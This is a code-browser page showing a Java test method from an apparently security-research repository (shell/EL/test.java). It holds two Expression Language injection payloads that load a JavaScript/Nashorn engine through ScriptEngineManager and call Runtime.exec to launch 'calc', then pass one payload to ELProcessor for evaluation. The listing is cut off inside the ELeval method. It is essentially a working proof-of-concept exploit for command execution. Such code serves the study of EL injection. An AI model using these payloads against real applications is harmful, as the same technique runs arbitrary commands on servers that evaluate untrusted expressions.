MCPcopy Create free account
hub / github.com/Firebasky/Java / main

Method main

shell/EL/test.java:6–14  ·  view source on GitHub ↗
(String[] args)

Source from the content-addressed store, hash-verified

4
5public class test {
6 public static void main(String[] args) throws Exception {
7 String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='calc';java.lang.Runtime.getRuntime().exec(exp);\")";
8
9 String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
10 ".newInstance().getEngineByName('nashorn')" +
11 ".eval(\"s=[3];s[0]='cmd.exe';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
12
13 ELeval(payload);
14 }
15
16 public static void ELeval(String payload){
17 ELProcessor elProcessor = new ELProcessor();

Callers

nothing calls this directly

Calls 1

ELevalMethod · 0.95

Tested by

no test coverage detected